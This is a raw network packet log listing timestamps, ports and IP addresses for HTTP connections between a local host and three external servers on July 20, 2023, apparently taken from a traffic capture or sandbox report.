Jul 20, 2023 11:44:52.883543968 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.883575916 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.883641005 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.883673906 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.883697987 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.883727074 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.883740902 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.883781910 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.884095907 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.884141922 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.884253979 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.884287119 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.884299994 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.884344101 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.884380102 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.884433985 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.884454012 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.884504080 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.900367975 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900455952 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900496006 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900511026 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900568008 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900686026 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900700092 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900746107 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900803089 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900816917 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900861979 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900876045 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.900943995 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.901036024 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.901050091 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.901062965 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.901159048 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.901173115 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.901242018 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.901287079 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.901350975 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.927716017 CEST	80	49715	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.927746058 CEST	80	49715	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.927783012 CEST	80	49715	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.927872896 CEST	49715	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.927917004 CEST	49715	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.941715002 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.989120007 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.989137888 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.989303112 CEST	80	49716	172.67.215.254	192.168.2.5
Jul 20, 2023 11:44:52.989321947 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:44:52.989350080 CEST	49716	80	192.168.2.5	172.67.215.254
Jul 20, 2023 11:45:11.284499884 CEST	49717	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:11.299213886 CEST	80	49717	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:11.299308062 CEST	49717	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:11.299627066 CEST	49717	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:11.314146996 CEST	80	49717	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:11.370085001 CEST	80	49717	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:11.370115995 CEST	80	49717	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:11.370326996 CEST	49717	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:11.370362997 CEST	49717	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:11.385124922 CEST	80	49717	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.374444008 CEST	49718	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.389204025 CEST	80	49718	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.389389992 CEST	49718	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.389787912 CEST	49718	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.389787912 CEST	49718	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.392288923 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.404472113 CEST	80	49718	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.404510975 CEST	80	49718	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.406831980 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.406996965 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.409661055 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.424377918 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.424401045 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.424513102 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.424529076 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.424536943 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.424566031 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.424631119 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.424650908 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.424755096 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.424822092 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.424835920 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.424835920 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.424835920 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.424896955 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.424896955 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.437289000 CEST	80	49718	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.437321901 CEST	80	49718	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.437460899 CEST	49718	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.437509060 CEST	49718	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.439776897 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.439800978 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.439903021 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.439917088 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.439922094 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.439943075 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.439960003 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.439965963 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.439977884 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.439996958 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.440005064 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.440033913 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.440062046 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.440140009 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.440197945 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.454664946 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454803944 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454813004 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454813957 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454814911 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454817057 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454838037 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454854012 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.454875946 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454909086 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454930067 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.454940081 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.454971075 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455004930 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455037117 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455148935 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455163002 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.455200911 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455248117 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455265999 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.455291033 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.455298901 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455331087 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.455358982 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455377102 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.455400944 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455442905 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455450058 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.455450058 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.455488920 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455530882 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455574989 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455621004 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455653906 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455686092 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455718040 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455782890 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455826998 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455869913 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.455916882 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.470532894 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.470561028 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.470632076 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.470658064 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.470793962 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.470839977 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.470892906 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.470972061 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471034050 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471112013 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471177101 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471200943 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471277952 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471373081 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471512079 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471549988 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471643925 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471697092 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471844912 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471870899 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471899986 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.471995115 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472019911 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472115040 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472225904 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472238064 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472346067 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472371101 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472469091 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472589016 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472628117 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472656012 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472701073 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472760916 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472825050 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.472907066 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.473016977 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.473045111 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.473145962 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.473272085 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.473376036 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.489413977 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.489476919 CEST	80	49719	152.199.21.175	192.168.2.5
Jul 20, 2023 11:45:13.490278006 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:13.490278006 CEST	49719	80	192.168.2.5	152.199.21.175
Jul 20, 2023 11:45:33.893501997 CEST	49720	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:33.908224106 CEST	80	49720	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:33.908490896 CEST	49720	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:33.908654928 CEST	49720	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:33.923119068 CEST	80	49720	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:34.316102028 CEST	80	49720	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:34.316149950 CEST	80	49720	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:34.316497087 CEST	49720	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:34.316550970 CEST	49720	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:34.339818001 CEST	80	49720	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.329653025 CEST	49721	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.344649076 CEST	80	49721	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.344885111 CEST	49721	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.345082998 CEST	49721	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.345113993 CEST	49721	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.346472979 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.359899044 CEST	80	49721	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.359941006 CEST	80	49721	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.361291885 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.364636898 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.367321968 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.373075008 CEST	80	49721	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.382277966 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.382309914 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.382328033 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.382347107 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.382365942 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.382383108 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.382400036 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.382474899 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.382544041 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.390975952 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.391014099 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.391192913 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.405883074 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.405910015 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.405929089 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.405946016 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.405961990 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.405977964 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.405994892 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.406011105 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.406028032 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.406044960 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.406064034 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.406075954 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.406080961 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.406075954 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.406096935 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.406114101 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.406131983 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.406168938 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.406203032 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.414599895 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.414633989 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.414650917 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.414668083 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.414684057 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.414700985 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.414805889 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.414805889 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.414870024 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429465055 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429501057 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429524899 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429544926 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429563999 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429583073 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429605007 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429625034 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429642916 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429661036 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429680109 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429682970 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429698944 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429717064 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429734945 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429753065 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429760933 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429760933 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429770947 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429790020 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429797888 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429797888 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429807901 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429825068 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429840088 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429842949 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429862022 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429863930 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429879904 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429881096 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429899931 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429913998 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429918051 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429934025 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.429935932 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.429965019 CEST	49722	80	192.168.2.5	34.102.136.180
Jul 20, 2023 11:45:36.430016994 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.430067062 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438208103 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438239098 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438257933 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438275099 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438291073 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438308954 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438327074 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438344955 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438361883 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438379049 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438395977 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.438414097 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453303099 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453334093 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453350067 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453362942 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453380108 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453397036 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453413010 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453428984 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453445911 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453461885 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453545094 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453587055 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453609943 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453685999 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453704119 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453720093 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453737020 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453753948 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453769922 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453785896 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453803062 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453819036 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453835011 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453850985 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453893900 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453912020 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453927040 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453943014 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453958988 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453975916 CEST	80	49722	34.102.136.180	192.168.2.5
Jul 20, 2023 11:45:36.453993082 CEST	80	49722	34.102.136.180	192.168.2.5
